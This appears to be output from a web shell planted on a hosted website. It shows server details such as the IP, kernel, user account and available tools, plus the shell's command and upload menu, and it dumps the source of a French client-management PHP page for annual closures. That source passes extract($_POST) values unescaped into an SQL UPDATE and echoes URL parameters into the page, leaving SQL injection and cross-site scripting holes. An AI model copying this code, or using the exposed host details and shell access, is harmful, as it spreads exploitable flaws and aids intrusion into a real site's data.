|
Server IP : 10.128.40.6 / Your IP : 216.73.217.20 Web Server : Apache System : Linux webd006.cluster128.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : logmcpe ( 111175) PHP Version : 7.3.33 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/logmcpe/www/mcg/pages/python/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
// $a = 2 ;
// $b = 6 ;
// $somme = $a + $b ;
// echo "la somme est ==> $somme <br/>" ;
include 'includes/config_tmcpro.php' ;
include 'includes/stable_functions_tmcpro.php' ;
session_start();
$ete = 0 ; $noel = 0 ; $autre = 0 ;
if(!empty($_POST)){
// echo "test" ;
extract($_POST) ;
// echo "<pre>" ;
// print_r($_POST) ;
// echo "</pre>" ;
// exit() ;
dbi_query(" UPDATE `client` SET `fermeture_annuelle` = '".$fermeture_annuelle."',
`fermeture_annuelle_explication` = '".addslashes($fermeture_annuelle_explication)."',
`ete` = '".$ete."',
`noel` = '".$noel."',
`autre` = '".$autre."',
`facturation` = '".$facturation."'
WHERE `client`.`client_id` = ".$idprodm) ;
header('Location:fermeture_annuelle.php?msg=bien Modifier&color=success');
}
?><html>
<head>
<?php include('header.php'); ?>
</head>
<body class="hold-transition sidebar-mini">
<!-- Site wrapper -->
<div class="wrapper">
<!-- TOP MENU -->
<nav class="main-header navbar navbar-expand navbar-white navbar-light">
<!-- Menu extensible -->
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" data-widget="pushmenu" href="#"><i class="fas fa-bars"></i></a>
</li>
<!-- liens TOP MENU GAUCHE-->
<li>
<!-- <a href="nvclient.php"><button type="button" class="btn btn-primary"><i class="fas fa-plus"></i> CLIENT</button> -->
</li>
<li>
<!--   <a href="clients_contact_al.php"> <button type="button" class="btn btn-secondary"></i> CONTACTS</button></a> -->
</li>
<li>
<!--   <a href="maps.php"> <button type="button" class="btn btn-secondary"></i> CARTE DES CLIENTS </button></a> -->
</li>
</ul>
<!-- liens TOP MENU DROITE -->
<ul class="navbar-nav ml-auto">
<li class="nav-item">
<a href="login.php?dec=1" class="nav-link">
<i class="nav-icon fas fa-power-off"></i>
</a>
</li><!-- Placer ici l'élément à positionner à droite du TOP MENU -->
</ul>
</nav>
<!-- BARRE DE NAVIGATION -->
<?php include('menu.php'); ?>
<!-- DEMARRAGE DE LA PAGE PRINCIPALE -->
<div class="content-wrapper">
<!-- Content Header (Page header) -->
<div class="content-header">
<div class="container-fluid">
<div class="row mb-2">
<div class="modal fade" id="myModal" role="dialog" class="modal fade task-modal-single in" tabindex="-1" aria-labelledby="myLargeModalLabel" >
<div class="modal-dialog modal-lg">
<div class="modal-content data">
<div id="fetch" >
</div>
</div>
</div>
</div>
</div><!-- /.row -->
</div>
</div>
<!-- /.content-header -->
<!-- PAGE PRINCIPALE -->
<script language="Javascript">
function GetIdBureau()
{
var id_statu="";
id_statu = document.client_statu_form.client_statu.value ;
if( id_statu > 0 || id_statu=="INDEFINI" )
window.location = "fermeture_annuelle.php?id_statu="+id_statu;
else
window.location = "fermeture_annuelle.php";
}
</script>
<script language="Javascript">
function GetIdBureauB()
{
var id_etab="";
id_etab = document.client_statu_form.client_etab.value ;
if( id_etab > 0 || id_etab=="INDEFINI" )
window.location = "fermeture_annuelle.php?id_etab="+id_etab;
else
window.location = "fermeture_annuelle.php";
}
</script>
<?php
$_SESSION["id_etab"]= 111 ;
$_SESSION["id_statu"]=2 ;
// echo "==>".$_SESSION["id_etab"]."<br/>" ;
// echo "==>".$_SESSION["id_statu"]."<br/>" ;
if(!empty( $_GET["id_statu"]))
{
$_SESSION["id_statu"] = $_GET["id_statu"];
}
if(!empty( $_GET["id_etab"]))
{
$_SESSION["id_etab"] = $_GET["id_etab"];
}
if($_SESSION["id_etab"]== 111){
$where_etablissement_id="" ;
}
else{
$where_etablissement_id = " AND c.etablissement_id = ".$_SESSION["id_etab"] ;
}
// echo "<pre>" ;
// print_r($_GET) ;
// echo "</pre>" ;
// echo "--------- <br/>" ;
// echo "<pre>" ;
// print_r($_SESSION) ;
// echo "</pre>" ;
?>
<section class="content">
<?php
if(isset($_GET["msg"])){
?>
<div class="alert alert-<?php echo $_GET["color"]; ?> alert-dismissible col-12" role="alert">
<strong><?php echo $_GET["color"].': '; ?></strong><?php echo $_GET["msg"]; ?>.
<button type="button" class="close" data-dismiss="alert" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<?php
}
?>
<div class="row">
<div class="col-12">
<div class="card card-info">
<div class="card-header">
<div class="row">
<div class="col-sm-11">
<h3 class="card-title"> <i class="far fa-user-tie">   </i> Fermeture Annuelle </h3>
</div>
</div>
</div>
<div class="card-body">
<form id="client_statu_form" name="client_statu_form" method="POST" action="">
<div class="form-row">
<div class="form-group col-md-6">
<div class="input-group">
<?php $qa = dbi_query("SELECT * FROM `etablissement`") ; ?>
<select class="form-control select" style="width: 100%;" id="client_etab" name="client_etab" onchange="GetIdBureauB()"; >
<?php while($etab=dbi_fetch_row($qa)) {?>
<option value="<?php echo $etab['etablissement_id'] ;?> " <?php if($etab['etablissement_id']==$_SESSION["id_etab"]){echo "selected" ;} ?> ><?php echo $etab['etablissement_nom'] ;?></option>
<?php } ?>
<option value="111" <?php if($_SESSION["id_etab"]== 111 ){echo "selected" ;} ?> >Tous les Etablissements</option>
</select>
</div>
</div>
</div>
</form>
<div class="onglet_dotted">
<div style="width:100%; float:left; vertical-align:top" class="header_ray">
<div id="tab">
<div class="box-body">
<!-- <table id="example1" class="table table-hover"> -->
<table id="example1" class="table table-bordered table-striped">
<thead>
<tr>
<th>NOM</th> <!-- /.Table Client - Champs client_nom -->
<th>Fermeture annuelle</th> <!-- /.Table Client - Champs client_cp -->
<th>Informations </th> <!-- /.Table Client - Champs client_ville -->
<th>Facturation</th>
<th>Eté </th>
<th>Noël </th>
<th>Autre </th>
<th>Editer</th> <!-- /.Table Client - Champs client_id -->
</tr>
</thead>
<tbody>
<?php $query = dbi_query("SELECT * FROM client c, etablissement etab,categorie cat where c.etablissement_id = etab.etablissement_id and c.categorie_id = cat.categorie_id and `client_statut` = '1' and prospect = '0' $where_statut $where_etablissement_id ORDER BY c.`client_nom` ASC ");
// echo "SELECT * FROM client c, etablissement etab,categorie cat where c.etablissement_id = etab.etablissement_id and c.categorie_id = cat.categorie_id $where_statut $where_etablissement_id ORDER BY c.`client_nom` ASC " ;
while($cl = dbi_fetch_row($query)){
?>
<tr>
<td> <a href="profilclient.php?client_id= <?php echo $cl['client_id'] ; ?>" target="" ><?php echo $cl['client_nom']; ?> </a></td>
<td> <?php echo $cl['fermeture_annuelle'] ; ?></td>
<td> <?php echo $cl['fermeture_annuelle_explication']; ?></td>
<td> <?php echo $cl['facturation'] ; ?></td>
<td> <?php if($cl['ete']==1){ echo '<span class="badge badge-success">V</span>' ;}?></td>
<td> <?php if($cl['noel']==1){ echo '<span class="badge badge-success">V</span>' ;}?></td>
<td> <?php if($cl['autre']==1){ echo '<span class="badge badge-success">V</span>' ;}?></td>
<TD align="center" nowrap>
<?php echo '<a class="btn btn-info btn-sm" href="#myModal" id="custId" data-toggle="modal" data-id="'.$cl['client_id'].'"><i class="fas fa-pencil-alt"></i></a>';?>
</a>
</TD>
</tr>
<?php }?>
</tbody>
</table><!-- /.table -->
</div><!-- /.box-body -->
</div><!-- /.tab -->
</div><!-- /.header_ray -->
</div><!-- /.onglet_dotted -->
</div><!-- /.card-body -->
</div><!-- /.card card-primary card-outline -->
</div> <!-- /.col-12 -->
</div> <!-- /.row -->
</section> <!-- /.section -->
</div>
<footer class="main-footer">
<div class="float-right d-none d-sm-block">
<b>Version</b> 3.0.1
</div>
<strong>Copyright © 2019 MCPRO</strong>
</footer>
<!-- FIN DU PIED DE PAGE -->
<!-- NE PAS TOUCHER CI-DESSOUS -->
<!-- Control Sidebar -->
<aside class="control-sidebar control-sidebar-dark">
<!-- Control sidebar content goes here -->
</aside>
<!-- /.control-sidebar -->
</div>
<!-- ./wrapper -->
<!-- jQuery -->
<script src="../../plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="../../plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="../../plugins/datatables/jquery.dataTables.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<script src="../../plugins/datatables/jquery.dataTables.min.js"></script>
<script src="../../plugins/datatables-bs4/js/dataTables.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-responsive/js/dataTables.responsive.min.js"></script>
<script src="../../plugins/datatables-responsive/js/responsive.bootstrap4.min.js"></script>
<script src="../../plugins/datatables-buttons/js/dataTables.buttons.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.bootstrap4.min.js"></script>
<script src="../../plugins/jszip/jszip.min.js"></script>
<script src="../../plugins/pdfmake/pdfmake.min.js"></script>
<script src="../../plugins/pdfmake/vfs_fonts.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.html5.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.print.min.js"></script>
<script src="../../plugins/datatables-buttons/js/buttons.colVis.min.js"></script>
<!-- AdminLTE App -->
<script src="../../dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="../../dist/js/demo.js"></script>
<script>
$(function () {
$("#example1").DataTable({
"responsive": true, "lengthChange": false, "autoWidth": false, "paging": false,
"buttons": ["copy", "csv", "excel", "pdf", "print"]
}).buttons().container().appendTo('#example1_wrapper .col-md-6:eq(0)');
$('#example2').DataTable({
"paging": false,
"lengthChange": false,
"searching": false,
"ordering": true,
"info": true,
"autoWidth": false,
"responsive": true,
});
});
</script>
<script type="text/javascript">
$(document).ready(function(){
$('#myModal').on('show.bs.modal', function (e) {
var rowid = $(e.relatedTarget).data('id');
$.ajax({
type : 'post',
url : 'fermeture_annuelle_ajax.php', //Here you will fetch records
data : 'rowid='+ rowid, //Pass $id
success : function(data){
$('#fetch').html(data);//Show fetched data from database
}
});
});
});
</script>
</body>
</html>